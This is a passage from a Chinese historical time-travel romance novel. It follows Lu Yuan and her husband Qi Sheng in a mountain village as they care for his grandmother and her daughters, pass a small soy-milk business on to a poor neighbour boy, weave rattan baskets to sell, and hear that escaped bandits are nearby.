祁晟把鸡内脏洗干净了,站起来,与他们说:“瞧也瞧过了,赶紧回家去,别乱跑。” 小武问:“祁晟哥,你真能看见了吗?” 祁晟点了点头。 围观了许久,这些孩子才散了。 陆鸢走到他身旁,嘀咕道:“这些孩子趴在栅栏外,就跟瞧猴似的。” 祁晟闻言,微微蹙眉,转头看向她:“你说我是猴?” 陆鸢转头看向他,忽然就捧着他的脸,仔细一看,笑道:“你就算是猴,也是最好看的猴。” 祁晟眼神略微躲闪,垂眸时,看到两双单纯明亮的眼睛。一抬眼,又看到从屋子出来的祖母。 便是看不到祖母的表情,也能猜想得到祖母那耐人寻味的眼神。 他不自在地轻咳了两声,低声提醒:“孩子和祖母都看着呢,注意些。” 陆鸢轻嗤了一声,心道假正经。 她放下了手,问:“是要现在炖汤吗?” 祁晟暗暗松一口气,点头:“我去后山坡找找,看能不能找到五指毛桃,用来炖鸡汤,能滋补。” 陆鸢道:“那我与你一块去找。” 她转头就问俩孩子:“你们俩在家等着,我去去就回来,可以吗?” 春华点了点头:“娘,早点回来。” 陆鸢应了一声好,就与何老婆子道:“老太太,我们去后山坡找找有没有煲汤用的佐料。” 何老婆子刚还带着打趣的脸色微变,似乎是想起了孙子出事的缘由,眼里浮现担忧。 祁晟未听到祖母的应声,大概知道祖母的担忧,安抚道:“只是去后山坡,很快就回来。” 何老婆子叹了一口气,说:“那你们快去快回。” 祁晟点了头。 陆鸢拿了篮子,就与他一块出了门。 离了家,陆鸢才说:“老太太刚一听说你要去后山坡,脸色都变得凝重了。” 祁晟道:“我能感受得到。” “我如今才见好,祖母自是心有余悸,慢慢来吧。” 陆鸢瞅了眼祁晟,他看着也没有什么创伤后精神障碍,却是在他祖母身上表现出来了。 到后山坡,陆鸢问:“你能分得清野草和五指毛桃的区别吗?” 祁晟道:“不难分辨,叶大似鸡足,根茎结小果,你见到也能认出来。” 陆鸢听着,感叹他这储存知识都快赶上她这个现代人了。 “你怎么懂得这么多?”她问。 这六七岁时,家里就生了变故,怎么还能学到这么多? 祁晟用棍子拨开草丛,应:“我自小记忆便比旁人好,再加上这十里八乡能人不少,东学了些,西学了些,也就什么都会一点。” 岭南可是流放大省,十里八乡有个别能人,压根就不是什么稀奇事。 “可你是怎么让这些能人教你的?”有能人不是稀奇事,让这些能人教他才是稀奇事。 祁晟道:“到这围山村的第三年,我学会了下河摸鱼,上树掏鸟窝。隔壁村子有个腿脚不好的,以前会些腿脚功夫,也会箭术,我与他交换,我给他送吃的,他便教我一些寻常招式和箭术。” 陆鸢琢磨了一下,可别是个流放的将军吧。 “那辨别草药和菌子的本事呢?” 祁晟:“我会了些本事,就开始打猎为生,在山里救了个上山采药而摔伤的老大夫,把他背了下来,他便教我一些简单的草药辨别和寻常治疗头疼发热的方子,还教我制作金疮药。” “当然了,我打猎的时候,还得给他采药。不过很可惜,这老大夫前两年就去了。” 陆鸢:“你这经历,还挺丰富。” 祁晟闻言,转头看向她,笑道:“你的经历,也不遑多让。” “带孩子逃荒,嫁给活死人,旁的妇人所经历的,远没有你经历的曲折。” 他还算漏了一样——穿越。 他们俩经历都很曲折离奇,不然也不会巧到凑一块。 两人找了一会,便找到了想要的东西。 把东西挖了便回去。 何老婆子有些忧心,见到他们回来,这心里才松快了。 差不多太阳落山,陆鸢才拿着钱和一包红枣糕,再带着两个孩子一同去找黄兰。 黄兰刚准备出去,见着她们母女,惊讶了好一瞬才反应过来,上下打量了陆鸢好一会,又惊又喜道:“呀,你这去了一趟城里,咋变了样,漂亮了?!” 陆鸢爱听夸奖的话,笑盈盈地道:“大概是城里的水土养人吧。” 黄兰盯着她的脸道:“你还别说,养得可真好,都白净了不少,我以前咋没觉得你的底子竟然这么好……” 陆鸢做作地摆了摆手:“哪有的事,嫂子你夸张了。” 黄兰:“我这一点也不夸张,你要是再白些,可比那杏娘还要好看。” 陆鸢也不想和旁人比,只转移话题问:“嫂子这是要准备去哪?” 黄兰笑道:“这不刚从地里回来,刚听小虎说你们回来了,正想去找你呢,没成想我们都想一块去了。” 陆鸢笑应:“不然怎么就咱们能说到一块去呢。” 黄兰把她们领进了院子。 陆鸢朝着陈家大娘大爷,还有陈家大郎和大嫂分别打招呼。 院子里人多,黄兰道:“进我屋子说话吧。” 陆鸢便让两个孩子找小虎哥哥玩,然后跟着黄兰进了屋子。 跟着进了黄兰的屋子,陆鸢把糕点递给了她,说:“这是红枣糕,我吃着挺好吃的,也不是很贵,就给嫂子拿了一包尝尝。” 黄兰诧异道:“还有我的份呢?” 陆鸢道:“忘了谁的,都不能忘了嫂子你的。” 黄兰:“就你嘴甜,会哄人开心。” 接过了红枣糕,又道:“自你去了城里后,我这心里头总觉得少了点什么,现在想来是少了个说贴心话的人。” 说着,黄兰又问:“你男人的眼睛咋样了?” 陆鸢应:“能看见了,但还是看得不是很清楚,但慢慢养着。” 寒暄了几句后,陆鸢便把装着铜板的钱袋子拿了出来,她道:“买菌干的银钱都在这里,嫂子你数数。” 黄兰便拿过钱袋子,倒到了床上,仔细数了起来。 数完后,她笑道:“你们下回什么时候再进城?” 陆鸢知道她想问什么,说:“我可不收嫂子的菌干了。” 黄兰一怔:“咋滴,那铺子不收菌干了?” 陆鸢应:“那倒不是,只是冬夏不收,但春秋两季还是收的。” “我说不帮,是觉着嫂子或家人应该亲自去才更有挣头。” 黄兰闻言,道:“我们这些乡下人,一问三不知的。至于干货铺子,我们生怕被轰出来,连人家铺子的门都不敢进去。” 陆鸢道:“我给嫂子牵线搭桥,这菌干数量多的话,自己带去挣头才大,也值得。” 黄兰仔细想了想,说:“这若是挣头大,你咋与我说了,怎的不自己挣了?” 黄兰也不是怀疑什么,就是好奇。 陆鸢笑道:“先前两次算是我直接向嫂子收的,但我觉着嫂子对我这么好,有挣钱的机会,自是不能瞒着。” “听我的,自己送去,不亏,以后说不定还能挣更多的银钱呢。” 黄兰和娘家人对菌子种类认识颇广,有了稳定的渠道后,肯定能挣不少。 黄兰听着她的话,虽然没有说得太明白,但意思再也明白不过。 这城里菌干的价钱,远比在镇上摆卖挣得更多。 “那成,我与娘家人说说看,等之后春季再晒好菌子,就送到城里去。” 说定后,黄兰忽然朝着她挤眉弄眼,问:“你和你家男人圆房没?昏迷了这么久,还中用不?” 陆鸢:…… 成婚多年的已婚妇女,话题转移得就是猛。 “没呢,没呢,租住在别人家,还是屋中的房子,不太方便。” 她也不敢借口说是祁晟身体还没好全乎,她怕说了,明日村子里就开始传祁晟不太行。 黄兰一琢磨,道:“也是,这太不方便了,那现在都回来,是不是……” 未说尽的话,不言而喻。 陆鸢摇头:“不成,家里不隔音呀,我这打个鼾,隔壁屋子都能听到,要是被孩子和老太太听到什么声响,我都不要做人了。” 闻言,黄兰眉头就皱了起来:“这圆房就这么难?可别是那祁晟不愿意,才找的借口吧?” 陆鸢替祁晟辨驳道:“还真不是他的问题,就是环境的问题。” 黄兰想了想,拉着她的手,小声劝道:“那你可得早点生米煮成熟饭了,可别到时候被拿出来说事。” “虽然你家男人不是那种忘恩负义的人,但还是得防一防,特别长成你家男人那样的。” 陆鸢点头,满口答应,但践不践行,还不是她自己拿主意? 第63章 陆鸢和俩孩子从陈家回来, 一进院子就闻到了浓郁的鸡汤香味。 她顿时就饿了。 跑到厨房,望着在厨房忙碌的祁晟,问:“什么时候才可以吃暮食?” 祁晟切着菜,背对她, 应道:“你若饿了, 就先吃块糕垫一下, 一会儿就好了。” 陆鸢应:“那你快些,记得留些肥肉和笋干一块炖。” “晓得了。”他应。 祁晟自幼和祖母相依为命, 也能体谅祖母辛苦,等大一些的时候, 就开始学着如何做饭, 是以手艺虽不是极好,但也是会做的。 这些天, 自陆鸢手伤着了, 祁晟双目视物情况也有所好转, 也都是他做的饭, 她在旁指点, 厨艺倒也算是小有进步。 何老婆子饶有兴趣地盯着夫妇俩,心说在城里单独生活了一个月就是不一样了, 如今相处得越发融洽了,比一个月前更像寻常夫妻了。 就是不知道…… 是不是真的已经和旁的夫妻一样了。 陆鸢去拿了两块糕, 掰成了四份, 她和老太太,还有两个孩子都吃了半块。 吃完后, 她又拿了一块进厨房,递到了祁晟的嘴边。 “你也吃点。” 祁晟转眸看了她一眼,眼里有很浅的笑意, 咬了一口。 何老婆子心下啧啧,这两人在城里肯定是没羞没臊,不然这会怎么能旁若无人? 陆鸢喂着祁晟吃完了一块糕点,转身从厨房出来时,对上何老婆子那耐人寻味的眼神,就知道她肯定想歪了。 没准老太太这会还以为她和她孙子,已经是名副其实的夫妻了。 老太太是怎么想的,对陆鸢也没什么影响,更不用多此一举解释什么。 等了小半个时辰,祁晟也就把暮食做好了。 摇摇欲坠的桌子也从老太太的屋子,搬到了他们夫妻俩的屋子。 他们的屋子大一些,也能坐得下更多的人。 陆鸢和祁晟今日从镇上回来的时候,顺道买了些肉回来。所以今日吃的,算是陆鸢来到这个时代三个月以来,最为丰盛的一顿。 祁晟按照陆鸢的要求,做了肉炖笋,还有鸡蛋炒韭菜,最后便是炖鸡汤。 若换作平时,何老婆子肯定会念叨着不过日子了。 可一个月没见着孙子了,再者孙子的眼睛也能看得见了,打心里高兴,一句扫兴的话都没说。 甚至还给孙媳和孙子一人夹了一个鸡腿。 陆鸢看向两个孩子,道:“我和你们的爹,祁叔可辛苦了,鸡腿我们就吃了,你们就吃鸡肉,成不?” 两个孩子点了点头。 祁晟原本想把鸡腿给孩子的心便歇了,但还是夹到了陆鸢的碗中。 陆鸢看向他:“你给我做什么?” 祁晟:“你最辛苦,你吃便好。” 陆鸢瞧向何老婆子,那眼神好像在说——可是你孙子给我的,我可没抢。 何老婆子睨了她一眼:“吃吧吃吧,还怕我说你不成?” 陆鸢笑着,夹了一个给她:“我可吃不下这么多,我还想吃点别的了。” 何老婆子低头看了眼碗里的鸡腿,不知为什么,这心里又酸又涩。 好久好久,这家里都没有这么热闹过了。 吃了暮食,缓了好半晌,陆鸢和祁晟才陆续去沐浴,孩子和老人则洗洗脚。 山里气温本就低,而围山村,正如其名,周遭都群山环绕着,这没了日头,气温骤降。 身体虚一点,傍晚沐浴,没准第二天就会感染风寒。 陆鸢沐浴之后,就在老太太的屋子里陪着两个孩子玩耍。 祁晟坐在屋中,也无书可看,只枯坐等着,听着隔壁传来的欢声笑语。 从热闹,直至无声,过了也不知多久。 祁晟复而等了许久,也不见妻子回来。 他眉头不由地微蹙。 这么晚了,怎还不回屋? 总不能是在祖母屋子里睡下了吧? 祖母屋里的床小,也没有多余的被衾,她怎么睡的? 祁晟想了想,也坐不住了,多拿了一件外衣就出了屋子。 外头黑漆漆的一片,祁晟也轻车熟路地走到了祖母的屋外。 轻叩了扣房门,低声道:“丽娘,该回屋了。” 陆鸢和两个孩子,还有何老婆子挤在一张床上,昏昏欲睡时,忽然听到了声响,倏然清醒了过来。 何老婆子睡得浅,听到声也醒了。 瞧着她还在床上,说:“赶紧回屋去睡,顺道把油灯也熄了。” 陆鸢掀开被衾下床,冷得身体一抖,她给两个孩子洗掖了掖被衾,才熄了烛火,双臂环抱着身体,在黑暗中凭着感觉走到房门。 开了门,就只能瞧得见一个高大的黑影,挡住了部分冷风。 祁晟把手上的外衣直接披到了她的肩上,低声说:“回屋吧。” 陆鸢转头把房门小声阖上后,拢了拢身上的衣服,转身就拉上了祁晟的衣角:“带路。” 祁晟笑了笑,伸手牵上了她的手,漆黑的夜里,把她牵回了房中。 陆鸢回了屋,哆哆嗦嗦地跑到床上,脱下外衣缩到了被窝中,小声念道:“这村子里比城里冷太多了。” 祁晟道:“山里是比较冷。” 陆鸢道:“这会儿才十一月初,更冷的十二月还没到呢,老太太和孩子怎么过?” 祁晟笑了笑,提起风炉上温着的水壶,倒了一杯热水走到床边递给她:“喝杯热水,能睡得好些。” 陆鸢瞟了眼,道:“不喝,夜里会想上茅房,我不想起来。” 祁晟:…… 她不喝,也就自己喝了。 他继续刚刚的话题,道:“山村里别的没有,就柴火最多,过冬前,大家伙都会砍许多柴火储备着,太冷了,就猫在屋子围着火盆取暖。” 陆鸢:“这么一说,好像也还行,起码这柴火不用花钱,哪像在城里,柴火贵得很。” 一把大的木柴都得十文钱呢。 祁晟道:“城里房屋密集,也没有山里这么冷。” 陆鸢:“不管是山里,还是城里,我都觉得冷。” 祁晟问:“要不要烧个火盆?” 陆鸢摇了摇头,伸出手拍了拍外侧:“你上来。” 男人天生火气旺,像个暖炉子。 祁晟明白她的意思,也就放下了竹杯上了榻。 祁晟一上榻,陆鸢就挪了过来。 她说得理所当然:“这不比火盆要方便?” 祁晟:“……” 敢情是把他当作汤婆子了。 大武知道他们回来了,第二天就找了过来,询问之后做豆乳和豆花的事。 陆鸢道:“之后我还是会回到城里,我会教会你做豆花和豆乳。” 大武愣了一下:“那、那我要做什么?” 陆鸢摇了摇头:“不用做什么,就是等以后你们要是能吃饱穿暖了,也能做到力所能及地帮扶他人一把。” 这做豆花和豆乳也不是什么秘方,也卖不了几个钱,反正她之后也不在围山村了,这买卖还不如让有需要的人做了。 武家这几个孩子,一个个都瘦得面黄肌瘦。 最大的也不过十四五岁,最小的也只有四五岁。家里也没个大人帮衬,只靠着村里的接济,还有就是大武砍柴挑起镇上卖,才能勉强度日, 她觉得,没人比他们更需要这活计的了。 “只是我教了你,你是想自己摆摊,还是继续和现在帮我卖豆乳豆花的那小兄弟搭伙?” 这本来就是小本生意,两个人分了,也就少挣了很多。 她的问题似乎难住了他,大武脸色有些为难,一时不知道该怎么选。 “嫂子,这万一换人了,别人不来我这喝豆乳了,咋办?” 陆鸢点头道:“也有这个可能,所以你得想好来,那镇上帮忙的小兄弟到时候也可以自己做豆乳来买,只要味道没有什么变化,旁人或许也会认定他这个人。” “镇上就这么多的人,分了一半人之后,你挣的钱其实也差不多。” 大武还是做不了决定。 陆鸢道:“我后天才会去镇上,你好好想想,到时也好与人家说清楚。” 大武点了头,忧思重重地走了。 人走后,何老婆子才道:“这不是有豆花么,他自己干也成呀。” 陆鸢摇头:“大武嘴皮子不够利索,而且与人交谈的时候,也不敢与人对视,若只有他一家做豆花的,尚且能挣到钱,但万一又多了一家做豆花和豆乳的,味道也大差不差,他不善谈,很难留住客人。” 做吃食的,有热情好客的,有闷声就是干活的,在味道没什么区别的情况下,自是选择前者。 何老婆子微微蹙眉:“那你方才怎么不与他说明白这利害关系?” 陆鸢耸肩,应:“好人难做,我能教他做豆花豆乳,就已经做得够多了,也不能什么都教,万一他以后觉得亏,说不定还会后悔当初为什么要听我的话呢。” 何老婆子仔细琢磨了一下她的话,也觉得有点道理:“要是他想自己干,你打算和镇上那小兄弟咋说?” 陆鸢:“我就是请他帮忙看一个月,该怎么说就怎么说。” 春花在旁听着她们的话。 她也五六岁了,在这个穷人家孩子早当家的时代,是已经懂事的年纪了,所以听着她们的话,也听出了其中的意思。 陆鸢看向春花的时候,便见她定定地看着自己。 她笑问:“咋了?” 春花踌躇了一下,才问:“娘,你还要去城里吗?” 陆鸢点了点头,也没因为她们是孩子而敷衍。 她说:“会继续去,我和你祁叔先去城里找好住的地方,然后就接你和秋花,还有曾祖母去城里。” 秋花听到这些话,也看向了她娘。 春花难过的情绪,肉眼可见地在脸上表现了出来, “会很久吗?” 陆鸢摇了摇头:“不会很久,会比上一次要快很多。” 本来还打算陪她们玩两天,让她们高兴两天再和她们说的,但现在问起来了,自然不能瞒着。 春花巴巴地望着她,问:“那、那什么时候走?” “再过四天。” 他们回时坐的牛车,也是四天后去广康城。 春花很难过,秋花也耷拉着脑袋,不高兴了。 陆鸢蹲下来与她们说:“等后日赶集,我带你们去镇上玩,好不好呀?” 姊妹俩兴致都不是很高。 春花蔫蔫地应了一声“好”。 陆鸢揉了揉她们俩的脑袋,莞尔一笑。 也不知是身体残留的感情,还是说这些时日相处出了感情,对上这两个孩子,心下都是软软的。见不着的时候,也会想念。 夜里,陆鸢和祁晟睡在同一个被窝,说着今日白天的事。 “你今天去找里正后,大武刚好找了过来,问之后怎么安排。” 祁晟道:“不是说好了,教他们做豆花豆乳么?” 陆鸢点头道:“教呀,不过我问他,要自己单干,还是继续和阿七一块干,他犹豫不决。” “当然,他怎么选都成,反正后边生意好坏也与我无关。” “那你苦恼什么?”他不解。 陆鸢:“春花和秋花知道我们过几天要去城里了,一整个下午都没笑过了。” 祁晟心忖难怪了。 今日回来,便见春花兴致不高,全然不同于他出门时,笑吟吟的。 “那也没法子。” 陆鸢道:“昨日老太太把挣的几百文都给了我,我琢磨着再过半个月就能把人接到城里了。” 祁晟:“那这次回到城里,我们就留意一下夜市附近相对安静的地方,可有宅子租赁。” 夜市的屋子两百多文一居室,要是旁的地方,定是得翻倍。 陆鸢道:“屋子小一点没关系,先应付着,等挣钱了,再换大一点的宅子。” 祁晟:“再差,也比现在的宅子好。” 这话,陆鸢是赞同的。 现在住的是茅草屋,茅草屋顶,夏凉冬冷,这会都在透风进来呢,比城里那屋子冷得不是丁点半点。 城里,就是条件差点,好歹也是夯土屋,不透风。 就是只能再租一个一居室的小院,不住在一块,但也是在一个城里,每日都能碰面,也不用整日因为老人和孩子生活在村里而担心。 …… 赶集日的前一日,大武找了过来,说了自己的决定。 “我觉着,还是让阿七继续帮忙摆摊做买卖。”他说道。 陆鸢问他:“你是怎么想的?” 大武有些腼腆摸了摸后脑勺,应道:“我嘴笨不会说话,怕留不住客,而且我想开垦种些粮食,做豆乳豆花就要费好些时间,要是再去城里耽搁大半日,便种不了地了。” “这买卖也不确定一直都挣钱,但这有了田地,有了粮食,我心里才能安定一些。” 陆鸢没想到,大武不想单干的原因,竟是想要种地。 不过,这种庄稼出身的,把田地看得比什么都重,大武会这么想,好像也不出奇。 “那你可要确定好了,我明日就要去镇上与阿七说明白了,到时就改不了了。” 大武应得坚定:“不改了。” 陆鸢道:“成,等明早你早些过来,我教你做豆花和豆乳。” 第64章 陆鸢教会大武做豆乳豆花后, 顺道跟着刘家三郎的牛车,带上两个孩子去镇上。 同去的还有大武。 祁晟则不去了,明天就得去城里,他得在家帮老太太干点活。 他身子骨都好得七七八八了, 自是不能偷闲。 屋顶都要修缮, 还有水缸里的水要挑满, 厨房的木柴也要推满。 大武一块去,是陆鸢提议的。 她得介绍阿七和大武认识, 后边无论是有事商议,还是有所矛盾, 都是他们自己解决的事。 来前, 也就是在做豆花豆乳的时候,陆鸢就与大武说过了和阿七是怎么算的银钱。 这买卖她也不管了, 所以她那份银钱就归他, 而阿七的那份不变。 大武也应下了。 陆鸢还与他分享一些经验, 说:“这豆乳都是有损耗的, 就是定有浪费的, 若是差得不多,也不要计较太多。” “但若是差得太多了, 你再仔细查一查,然后再与阿七摊开来说。” 大武仔细地把这话听进了心里, 点头应:“我省得了。” 到了镇上, 阿七已经在镇口等着了。 远远看到牛车上的陆鸢,阿七表情倒是很丰富, 先是高兴,随之失落。 等牛车到了跟前,阿七上前帮忙把桶提下来, 问:“苏娘子什么时候回来的?” 陆鸢下了牛车,也把两个孩子相继抱下,应道:“上回赶集日就回来了,没见着你。” 阿七道:“这早间的豆乳豆花放半个时辰就冷了,所以卖不了太长时间。” 陆鸢琢磨了一下,说:“豆乳可以加热,温着一锅,买完再添,就不至于全冷了。且这天气冷了,豆乳放久也没那么容易坏,也是可以多做一些的。” 阿七讪讪道:“苏娘子现在回来了,这之后也不需要用到我,这些事情也不用我操心了。” 陆鸢忙道:“不不不,若你方便的话,这之后还是你继续摆摊。” 阿七有些诧异,问:“为何?” 陆鸢与他做了简单的解释:“我之后还会继续去城里讨生活,这豆乳和豆花就让旁人做了。” 阿七一愣,呐呐道:“人家还愿意让我继续帮忙么?” 陆鸢笑着看向大武,介绍:“这就是之后与你一同做买卖的人。” 阿七看了眼和自己差不多大的少年,两人大眼瞪小眼,一时间不知道说什么。 好半晌,阿七先开了口,说:“我叫宋奇,别人都喊我阿七。” 大武应:“我叫武丰,你叫我大武就成。” 陆鸢道:“大武,你与阿七仔细说说你的意思。” 大武道:“我要忙活着田地的活计,所以还是要你继续帮忙看摊子的。” “不知道你还愿不愿意继续帮忙看顾摊子?” “愿意,我当然愿意了!”阿七应得非常快。 陆鸢见他们两个人没什么意见,便帮大武问阿七:“那这银钱就还按照先前的来算,你看成不成?” “成成成。”阿七是一点意见都没有。 就是在这赶集日摆上半日的摊子,都能比过他去做几日的苦力活了,他哪里敢有意见? 这还能有意见,不就是把这机会往外推么。 人可得知足。 陆鸢笑了笑,道:“之后你有什么事,你们两个就自行相议,也可让刘三哥口述帮忙传递,我就不管了。” 两个半大的少年都严肃地应下。 陆鸢又道:“还有,我方才说的风炉,你们可以试一试,柴薪就由大武负责,总归在村里,砍柴也容易。” 与他们两个人交代完了,陆鸢就让他们自己聊了,她则带着两个孩子去市集上玩。 来赶集的人,确实比以往的少了很多,但不至于少一半。 陆鸢带着两个孩子吃了些小食,走走逛逛,顺道把今晚要吃的菜也都给买了。 上一回带着他们来的时候,还要摆摊,都没能好好逛。 时至午时,陆鸢能饿一时半会,但孩子饿不得,是以她就带着两个去吃馄饨。 坐到摊子上,陆鸢点了两碗肉馄饨。 两个孩子小,一碗就够分了。 陆鸢正给分着馄饨,便听到隔壁桌子的人在谈论什么广康城,匪寇等字眼。 陆鸢给两个孩子分了馄饨后,便定神仔细听他们的谈话。 做馄饨的摊贩也打听了起来,问:“广康城出现匪寇了吗?” 谈论的人应道:“那倒不是,只是广康城县衙新上任的县丞,在前天带着衙役攻剿了附近山头,以盗墓抢劫为生的贼窝。” 摊贩道:“那这新上任的县丞倒是个办实事的。” 岭南山多,地形复杂,最便匿藏,入山为寇的恶人,或是被逼为寇的人也就多了。 那人道:“不过听说剿匪时,也有一些人逃走了,广康城现在出入城都盘问得都很严格,便是其他镇,夜里也开始巡逻了。” 摊贩恍然道:“难怪了,今早耆长还带了好些人在镇上巡逻。” 陆鸢听着这些话,心里也担忧起来。 穿越后,到目前为止她只为生计奔波,倒是没有波及性命危险,因此都险些忘记了这个时代的法制不够完善,处处都匿藏着凶险。 她与祁晟还要回城里,可千万别遇上什么逃亡的匪寇。 天冷,刘三郎会提前半个时辰返回村子。 陆鸢抱着秋花,带着春花回到家中,祁晟正在做藤编。 见她们回来了,他朝着两个孩子招了招手:“春花秋花,你们过来。” 陆鸢一把秋花放下来,她就迈着小腿儿跑了过去。 春花虽有些迟疑,但还是跟在妹妹的身后走了过去。 待她们走到了跟前,祁晟把编好的两个小藤篮子递给了他们。 篮子一个大一些,一个小一点的,但无疑都很小很紧致,很可爱的小篮子。 两个孩子看到小篮子的一瞬间,眼睛都亮了起来。 不仅是孩子,就是陆鸢都喜欢得紧。 祁晟分别把两个大小不同的篮子递给了她们。 陆鸢问:“我的呢?” 祁晟拿起大的篮子,与她道:“我打算给你做两个,到时候可以带去城里,用来盛放油条或是放其他东西,顺道再编一个藤匳放衣物。” 陆鸢惊叹道:“你怎么什么都会做?” 祁晟嘴角微扬,道:“也不难,以往看多李叔编织,也就会了。” 陆鸢:…… 这不妥妥的天才学霸,就只是看看就会了,且情商还高。 要不是这家里遭逢变故,再怎么样都榜上有名,位列前茅。 她忽然有了好的主意,道:“要不咱们也在城里编点藤编或竹编摆卖吧?” 祁晟笑道:“这些编织在西市有太多了,不一定能卖得出去,而且藤蔓在城里可不好找。” 陆鸢连连摇头:“不不不,我说的是做你给春花秋花编制的小篮子。” 祁晟瞧了眼对春花秋花爱不释手的小篮子,应道:“这只是给孩子玩的小玩意,没几个人会舍得给孩子买。” 陆鸢眼睛睁大,道:“怎就不舍得了,孩子哭一哭闹一闹,大人就算不舍得,也会有人会掏腰包。” “再说了,城里荷包里有些小钱的人也不少,舍得给孩子买拨浪鼓,买糖葫芦的吃食,自然也能舍得给孩子买个小篮子。” 祁晟盯着她看,眼里噙着笑。 陆鸢疑惑,问:“你看什么?” 祁晟笑道:“你真无时无刻都在想着怎么挣钱。” 陆鸢闻言,眯眼笑:“不然呢,总不能日日夜夜想的都是你。” 祁晟:…… 三言两语就没个正行。 他低声道:“孩子在,别总说这些话,学了不好。” 说着,又道“你若觉得能挣钱,一会我再去割点藤蔓回来,带去城里后,再编。” 陆鸢心说她的话也没多过分,怎么就学了不好了?但想了想,时代不同,理念不同,她还是不要与他争辩。 她点头道:“那你多割一些。” “这个也就是图个快钱,编织的手艺人见能挣钱了,肯定也会跟随,多了就不稀罕了。” 祁晟听到她的分析,意味深长地多瞧了她一眼,随之不动声色地收回了视线。 何老婆子串门回来,篮子里提了满满一篮子的干荷叶。 知道他们要买荷叶包油条后,老太太就说去问问村子里的人谁有,用一碗豆乳都能换很多回来。 昨日,老太太就提醒让她多做几碗豆乳,用来换荷叶。 何老婆子把篮子递给她,说:“等明年初夏,等池塘里开了荷花,荷叶便宜得很,自己晒干,也花不了几个钱。” 陆鸢接过篮子,说:“我今日买了几条排骨,晚上蒸排骨时,下边用荷叶垫着,蒸出来的排骨能有淡淡荷叶清香。” 祁大厨应道:“行,晚上就用荷叶蒸排骨。” 陆鸢说:“今晚我做饭,你忙你的。” 祁晟应:“不碍事。” 既然他都这么说了,陆鸢自然是不能阻挡他的积极性。 祁晟手里的藤编收了尾,就拿着柴刀出门去砍藤条。 何老婆子不放心,叮嘱:“你小心点,别跑太远。” 祁晟应:“知道。” 人出去了,何老婆子念道:“眼睛一好,又开始闲不住了,天天跑得不见人影。” 陆鸢笑了笑,转头就看到姊妹俩挽着小篮子,把能装的都装到篮子中,玩得不亦乐,她问:“开心吗?” 春花和秋花都重重点了点头。 姊妹俩的亲爹,就没抱过她们几回,更别说是给姊妹俩做玩具了。 祁晟舍得给两个孩子花心思,就已经比孩子的亲爹强多了。 …… 祁晟又去砍了许多藤条回来,再厨房烧热水,浸泡。 陆鸢在厨房帮他烧水,问他:“要泡多久?” 祁晟:“要不了多久,泡半个时辰后,刮了外表的皮,再蒸一刻。” 陆鸢讶异道:“我还以为砍来就可以直接编织了,没成想还有这么多道工序,这么麻烦。” 祁晟:“这脚踏实地挣钱本就没有什么捷径可走,所以有付出,才会有回报。” 陆鸢听到他正得发邪的观点,眉眼一下就弯了:“你说得对。” 虽然她也想天上掉馅饼,但要是真的掉了,她还不一定敢接。 趁着泡着藤条,陆鸢也烧了热水,趁着厨房暖和,她让两个孩子都在厨房里泡一泡热水澡。 给孩子洗了澡后,这藤条也泡好了。 也不知祁晟什么时候去河边搬回了一大块石头,还捡了一些扁形的石块。 他把藤条放在石头上,再用石块压着,从头一抽拉到尾。 陆鸢把孩子都送回屋子后,继而回了厨房,也拿了一块石块,准备上手帮忙。 祁晟道:“不用你,弄这个废胳膊,你歇着。” 陆鸢瞧着那一捆藤条,迟疑了一下:“要不不弄了?” 祁晟笑了笑:“我不打紧,累了自然会歇着。” 陆鸢默了一下,问:“那我能帮着做些什么?” 祁晟指了指厨房的杌子:“坐着就行。” 陆鸢坐了下来,手肘支在膝上,撑着下巴看着他干活。 忽然想起今日在市集听到的事,她也顺道与他说了:“我今日在镇上听说了一件事,广康城新上任的县丞派兵去剿匪,人没抓完,有好些逃跑了,你一会去一趟里正家,与里正说一说这事,让村里大家伙都警惕一些。” 祁晟闻言,眉头紧皱了起来。 他问:“知道是什么地方的匪寇吗?” 陆鸢摇头:“没仔细打听,但听说镇上的耆长也加强了巡逻,而且我听说是靠着抢劫和盗墓为生的盗贼。” 祁晟琢磨了一下,说:“我大概知道是哪个方向的贼寇了。” 陆鸢睁大眼看他:“你又知道了?!” 祁晟点头:“我在城里听说过最为猖狂的盗墓贼,是东南方向的山匪,数月前盗窃了贵人墓穴,新县丞上任,自是拿他们来杀鸡儆猴。” “你说镇上已经开始戒严了,便说明离安平镇不会太远。” 陆鸢愣了一下:“等等,东南方向,围山村又是什么方向?” 祁晟索性拿了一根树枝在地上画了一个圈,在中心之处划了一个小圈。 “以广康城为中点,围山村在其西南偏南的方向,正南再过去一些便是东南方向。” 陆鸢看着这两个方向,脸上露出了担忧之色:“那围山村岂不是很危险?” 祁晟摇了摇头:“倒不至于,这逃跑的流寇不会太多人,若人数太多就会引人注目,最多便是数人。” “他们若是不想暴露行踪,就不敢随便进村,但凡走漏风声,县衙的人就能知道他们在何处,进而搜捕。” “那这些人会往哪躲藏?”她问。 祁晟:“这些人常年在山林生活,自是对山野了如指掌,在其中四处匿藏,县衙也搜捕不到,等风头过了,再另占山为王。” 陆鸢闻言,忽然道:“我们此去广康城,途经山路,离贼窝也不是很远,你说我们会不会那么倒霉,真的遇上那些逃匪?” 说完之后,她又立刻打了几下自己的嘴巴:“这破乌鸦嘴,说什么呢!” 往往都是怕什么来什么。 就好似在念书的时候,老师提问的时候,总是默念别喊我别喊我,但最后点名还是点到了自己头上。 祁晟见她面色忧忧,眉心微蹙了几息后,便面色如常地安慰她:“这素日里从安平镇往返广康城的牛车马车也不止一辆,我们的运气不会那么背。” 陆鸢丧着脸看向他,真的很想与他说,她便是这么背。 十四亿人里头,偏生她的运气是背中之背,一下就给干穿越了。 就是因为这点,她心里惶惶的,但又不知道该怎么与他说。 祁晟道:“我且会些拳脚,若是真遇上贼寇,人数不多,我且能拖住,给你争取逃脱的机会。” 陆鸢越听越觉得心慌,听不下去了,便打断他:“别说了别说了,说得我心里突突的,估计今晚我都得睡不着了。” 祁晟便也就没有再说这些让她心惊胆颤的话。 他视线微转,落在她身旁的柴刀上。 等入了夜,再仔细磨得锋利些,等去广康城时再带着去,以防万一。 第65章 翌日, 便是回城的日子了。 许是知道他们一家子以后都会去城里生活,也不知什么时候能再回来一趟,所以与陆鸢交好的黄兰也跑来送她。 陆鸢与她道:“等明年四五月,菌子长出来了, 嫂子再来城里找我。” 她早早就把现在的住址告诉了黄兰。 陆鸢觉得既然做夜市的生意, 那肯定还得继续租现在得院子。 不仅离夜市近, 离东市也相对近,后边再租院子, 肯定是居住优先,城内繁华之处肯定租不起, 那必然是地处偏僻, 那这个院子就很有必要继续租了。 黄兰点了头,然后把她拉到一旁说私密话。 